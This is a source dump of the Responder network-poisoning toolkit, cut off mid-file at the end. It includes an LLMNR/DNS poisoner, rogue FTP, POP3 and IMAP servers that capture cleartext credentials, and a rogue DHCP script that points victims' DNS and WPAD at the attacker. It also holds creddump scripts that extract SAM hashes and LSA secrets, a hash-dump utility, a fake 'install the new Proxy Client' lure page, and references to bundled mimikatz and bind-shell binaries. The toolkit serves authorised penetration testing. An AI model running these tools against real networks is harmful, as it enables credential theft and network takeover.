├── logs └── .gitignore ├── poisoners ├── __init__.py ├── MDNS.py ├── NBTNS.py └── LLMNR.py ├── servers ├── __init__.py ├── POP3.py ├── IMAP.py ├── FTP.py ├── DNS.py ├── SMTP.py ├── Proxy_Auth.py ├── Kerberos.py ├── LDAP.py ├── Browser.py ├── MSSQL.py ├── HTTP_Proxy.py └── HTTP.py ├── tools ├── MultiRelay │ ├── __init__.py │ ├── creddump │ │ ├── README │ │ ├── framework │ │ │ ├── __init__.py │ │ │ ├── win32 │ │ │ │ ├── __init__.py │ │ │ │ ├── rawreg.py │ │ │ │ ├── domcachedump.py │ │ │ │ ├── lsasecrets.py │ │ │ │ └── hashdump.py │ │ │ ├── types.py │ │ │ ├── addrspace.py │ │ │ ├── object.py │ │ │ └── newobj.py │ │ ├── CHANGELOG │ │ ├── pwdump.py │ │ ├── cachedump.py │ │ └── lsadump.py │ ├── relay-dumps │ │ └── .gitignore │ └── bin │ │ ├── Runas.exe │ │ ├── Syssvc.exe │ │ ├── mimikatz.exe │ │ └── mimikatz_x86.exe ├── SMBFinger │ ├── __init__.py │ ├── odict.py │ └── Finger.py ├── FindSQLSrv.py ├── DHCP_Auto.sh ├── FindSMB2UPTime.py ├── odict.py ├── BrowserListener.py ├── RunFinger.py └── Icmp-Redirect.py ├── .gitignore ├── files ├── BindShell.exe └── AccessDenied.html ├── certs ├── gen-self-signed-cert.sh ├── responder.crt └── responder.key ├── DumpHash.py ├── fingerprint.py ├── Responder.conf ├── odict.py ├── Report.py ├── README.md └── settings.py /logs/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /poisoners/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /servers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/MultiRelay/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/SMBFinger/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/README: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/MultiRelay/relay-dumps/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/win32/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Responder logs 2 | *.db 3 | *.txt 4 | *.log 5 | 6 | -------------------------------------------------------------------------------- /files/BindShell.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/Responder/master/files/BindShell.exe -------------------------------------------------------------------------------- /tools/MultiRelay/bin/Runas.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/Responder/master/tools/MultiRelay/bin/Runas.exe -------------------------------------------------------------------------------- /tools/MultiRelay/bin/Syssvc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/Responder/master/tools/MultiRelay/bin/Syssvc.exe -------------------------------------------------------------------------------- /tools/MultiRelay/bin/mimikatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/Responder/master/tools/MultiRelay/bin/mimikatz.exe -------------------------------------------------------------------------------- /tools/MultiRelay/bin/mimikatz_x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chrismaddalena/Responder/master/tools/MultiRelay/bin/mimikatz_x86.exe -------------------------------------------------------------------------------- /certs/gen-self-signed-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl genrsa -out responder.key 2048 3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" 4 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/CHANGELOG: -------------------------------------------------------------------------------- 1 | Version: 0.3 Date: 8/1/2012 2 | 3 | * Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius. 4 | Closes Issue 3. 5 | 6 | Version: 0.2 Date: 2/24/2011 7 | 8 | * Fixed issue with wrong format specifier being used (L instead of I), which 9 | caused creddump to fail on 64-bit systems. 10 | -------------------------------------------------------------------------------- /certs/responder.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw 3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC 4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU 10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm 11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw 15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW 16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v 17 | u0/CRCN/lg== 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/pwdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | import sys 25 | from framework.win32.hashdump import dump_file_hashes 26 | 27 | if len(sys.argv) < 3: 28 | print "usage: %s bootkey SAM_File" % sys.argv[0] 29 | sys.exit(1) 30 | 31 | dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) 32 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/cachedump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | 25 | import sys 26 | from framework.win32.domcachedump import dump_file_hashes 27 | 28 | if len(sys.argv) < 3: 29 | print "usage: %s bootkey " % sys.argv[0] 30 | sys.exit(1) 31 | 32 | dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) 33 | 34 | -------------------------------------------------------------------------------- /files/AccessDenied.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Website Blocked: ISA Proxy Server 4 | 14 | 15 | 16 | 17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
    21 |
    22 |
    23 |
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • 24 |
    25 |
26 |
27 | 28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /tools/FindSQLSrv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from socket import * 18 | 19 | print 'MSSQL Server Finder 0.1' 20 | 21 | s = socket(AF_INET,SOCK_DGRAM) 22 | s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 23 | s.settimeout(2) 24 | s.sendto('\x02',('255.255.255.255',1434)) 25 | 26 | try: 27 | while 1: 28 | data, address = s.recvfrom(8092) 29 | if not data: 30 | break 31 | else: 32 | print "===============================================================" 33 | print "Host details:",address[0] 34 | print data[2:] 35 | print "===============================================================" 36 | print "" 37 | except: 38 | pass 39 | 40 | 41 | -------------------------------------------------------------------------------- /servers/POP3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import POPOKPacket 20 | 21 | # POP3 Server class 22 | class POP3(BaseRequestHandler): 23 | def SendPacketAndRead(self): 24 | Packet = POPOKPacket() 25 | self.request.send(str(Packet)) 26 | return self.request.recv(1024) 27 | 28 | def handle(self): 29 | try: 30 | data = self.SendPacketAndRead() 31 | 32 | if data[0:4] == "USER": 33 | User = data[5:].replace("\r\n","") 34 | data = self.SendPacketAndRead() 35 | if data[0:4] == "PASS": 36 | Pass = data[5:].replace("\r\n","") 37 | 38 | SaveToDb({ 39 | 'module': 'POP3', 40 | 'type': 'Cleartext', 41 | 'client': self.client_address[0], 42 | 'user': User, 43 | 'cleartext': Pass, 44 | 'fullhash': User+":"+Pass, 45 | }) 46 | self.SendPacketAndRead() 47 | except Exception: 48 | pass 49 | -------------------------------------------------------------------------------- /certs/responder.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS 8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY 9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U 10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R 11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i 12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ 13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS 14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL 15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9 16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1 17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf 18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje 19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2 20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes 21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35 22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf 23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm 24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp 26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /servers/IMAP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd 20 | 21 | class IMAP(BaseRequestHandler): 22 | def handle(self): 23 | try: 24 | self.request.send(str(IMAPGreeting())) 25 | data = self.request.recv(1024) 26 | 27 | if data[5:15] == "CAPABILITY": 28 | RequestTag = data[0:4] 29 | self.request.send(str(IMAPCapability())) 30 | self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) 31 | data = self.request.recv(1024) 32 | 33 | if data[5:10] == "LOGIN": 34 | Credentials = data[10:].strip() 35 | 36 | SaveToDb({ 37 | 'module': 'IMAP', 38 | 'type': 'Cleartext', 39 | 'client': self.client_address[0], 40 | 'user': Credentials[0], 41 | 'cleartext': Credentials[1], 42 | 'fullhash': Credentials[0]+":"+Credentials[1], 43 | }) 44 | 45 | ## FIXME: Close connection properly 46 | ## self.request.send(str(ditchthisconnection())) 47 | ## data = self.request.recv(1024) 48 | except Exception: 49 | pass 50 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/lsadump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | import sys 25 | from framework.win32.lsasecrets import get_file_secrets 26 | 27 | # Hex dump code from 28 | # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 29 | 30 | FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 31 | 32 | def dump(src, length=8): 33 | N=0; result='' 34 | while src: 35 | s,src = src[:length],src[length:] 36 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 37 | s = s.translate(FILTER) 38 | result += "%04X %-*s %s\n" % (N, length*3, hexa, s) 39 | N+=length 40 | return result 41 | 42 | if len(sys.argv) < 3: 43 | print "usage: %s Bootkey " % sys.argv[0] 44 | sys.exit(1) 45 | 46 | secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) 47 | if not secrets: 48 | print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" 49 | sys.exit(1) 50 | 51 | for k in secrets: 52 | print k 53 | print dump(secrets[k], length=16) 54 | 55 | -------------------------------------------------------------------------------- /servers/FTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import FTPPacket 20 | 21 | class FTP(BaseRequestHandler): 22 | def handle(self): 23 | try: 24 | self.request.send(str(FTPPacket())) 25 | data = self.request.recv(1024) 26 | 27 | if data[0:4] == "USER": 28 | User = data[5:].strip() 29 | 30 | Packet = FTPPacket(Code="331",Message="User name okay, need password.") 31 | self.request.send(str(Packet)) 32 | data = self.request.recv(1024) 33 | 34 | if data[0:4] == "PASS": 35 | Pass = data[5:].strip() 36 | 37 | Packet = FTPPacket(Code="530",Message="User not logged in.") 38 | self.request.send(str(Packet)) 39 | data = self.request.recv(1024) 40 | 41 | SaveToDb({ 42 | 'module': 'FTP', 43 | 'type': 'Cleartext', 44 | 'client': self.client_address[0], 45 | 'user': User, 46 | 'cleartext': Pass, 47 | 'fullhash': User + ':' + Pass 48 | }) 49 | 50 | else: 51 | Packet = FTPPacket(Code="502",Message="Command not implemented.") 52 | self.request.send(str(Packet)) 53 | data = self.request.recv(1024) 54 | 55 | except Exception: 56 | pass 57 | -------------------------------------------------------------------------------- /DumpHash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import sqlite3 18 | 19 | def DumpHashToFile(outfile, data): 20 | with open(outfile,"w") as dump: 21 | dump.write(data) 22 | 23 | def DbConnect(): 24 | cursor = sqlite3.connect("./Responder.db") 25 | return cursor 26 | 27 | def GetResponderCompleteNTLMv2Hash(cursor): 28 | res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") 29 | Output = "" 30 | for row in res.fetchall(): 31 | Output += '{0}'.format(row[0])+'\n' 32 | return Output 33 | 34 | def GetResponderCompleteNTLMv1Hash(cursor): 35 | res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") 36 | Output = "" 37 | for row in res.fetchall(): 38 | Output += '{0}'.format(row[0])+'\n' 39 | return Output 40 | 41 | cursor = DbConnect() 42 | print "Dumping NTLMV2 hashes:" 43 | v2 = GetResponderCompleteNTLMv2Hash(cursor) 44 | DumpHashToFile("DumpNTLMv2.txt", v2) 45 | print v2 46 | print "\nDumping NTLMv1 hashes:" 47 | v1 = GetResponderCompleteNTLMv1Hash(cursor) 48 | DumpHashToFile("DumpNTLMv1.txt", v1) 49 | print v1 50 | -------------------------------------------------------------------------------- /tools/DHCP_Auto.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This file is part of Responder. laurent.gaffie@gmail.com 3 | # 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | # This script will try to auto-detect network parameters 19 | # to run the rogue DHCP server, to inject only your IP 20 | # address as the primary DNS server and WPAD server and 21 | # leave everything else normal. 22 | 23 | if [ -z $1 ]; then 24 | echo "usage: $0 " 25 | exit 26 | fi 27 | 28 | if [ $EUID -ne 0 ]; then 29 | echo "Must be run as root." 30 | exit 31 | fi 32 | 33 | if [ ! -d "/sys/class/net/$1" ]; then 34 | echo "Interface does not exist." 35 | exit 36 | fi 37 | 38 | INTF=$1 39 | PATH="$PATH:/sbin" 40 | IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'` 41 | NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'` 42 | DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'` 43 | DNS1=$IPADDR 44 | DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'` 45 | ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'` 46 | WPADSTR="http://$IPADDR/wpad.dat" 47 | if [ -z "$DOMAIN" ]; then 48 | DOMAIN=" " 49 | fi 50 | 51 | echo "Running with parameters:" 52 | echo "INTERFACE: $INTF" 53 | echo "IP ADDR: $IPADDR" 54 | echo "NETMAST: $NETMASK" 55 | echo "ROUTER IP: $ROUTER" 56 | echo "DNS1 IP: $DNS1" 57 | echo "DNS2 IP: $DNS2" 58 | echo "WPAD: $WPADSTR" 59 | echo "" 60 | 61 | 62 | echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" 63 | python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" 64 | -------------------------------------------------------------------------------- /fingerprint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import socket 18 | import struct 19 | 20 | from utils import color 21 | from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData 22 | 23 | def OsNameClientVersion(data): 24 | try: 25 | length = struct.unpack('i", len(''.join(Packet)))+Packet 44 | s.send(Buffer) 45 | data = s.recv(2048) 46 | 47 | if data[8:10] == "\x72\x00": 48 | Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") 49 | Body = SMBSessionFingerData() 50 | Body.calculate() 51 | 52 | Packet = str(Header)+str(Body) 53 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 54 | 55 | s.send(Buffer) 56 | data = s.recv(2048) 57 | 58 | if data[8:10] == "\x73\x16": 59 | return OsNameClientVersion(data) 60 | except: 61 | print color("[!] ", 1, 1) +" Fingerprint failed" 62 | return None 63 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/win32/rawreg.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.newobj import Obj,Pointer 23 | from struct import unpack 24 | 25 | ROOT_INDEX = 0x20 26 | LH_SIG = unpack(". 17 | from packets import DNS_Ans 18 | from SocketServer import BaseRequestHandler 19 | from utils import * 20 | 21 | def ParseDNSType(data): 22 | QueryTypeClass = data[len(data)-4:] 23 | 24 | # If Type A, Class IN, then answer. 25 | return QueryTypeClass == "\x00\x01\x00\x01" 26 | 27 | 28 | 29 | class DNS(BaseRequestHandler): 30 | def handle(self): 31 | # Break out if we don't want to respond to this host 32 | if RespondToThisIP(self.client_address[0]) is not True: 33 | return None 34 | 35 | try: 36 | data, soc = self.request 37 | 38 | if ParseDNSType(data) and settings.Config.AnalyzeMode == False: 39 | buff = DNS_Ans() 40 | buff.calculate(data) 41 | soc.sendto(str(buff), self.client_address) 42 | 43 | ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) 44 | print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) 45 | 46 | except Exception: 47 | pass 48 | 49 | # DNS Server TCP Class 50 | class DNSTCP(BaseRequestHandler): 51 | def handle(self): 52 | # Break out if we don't want to respond to this host 53 | if RespondToThisIP(self.client_address[0]) is not True: 54 | return None 55 | 56 | try: 57 | data = self.request.recv(1024) 58 | 59 | if ParseDNSType(data) and settings.Config.AnalyzeMode is False: 60 | buff = DNS_Ans() 61 | buff.calculate(data) 62 | self.request.send(str(buff)) 63 | 64 | ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) 65 | print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) 66 | 67 | except Exception: 68 | pass 69 | -------------------------------------------------------------------------------- /tools/FindSMB2UPTime.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See 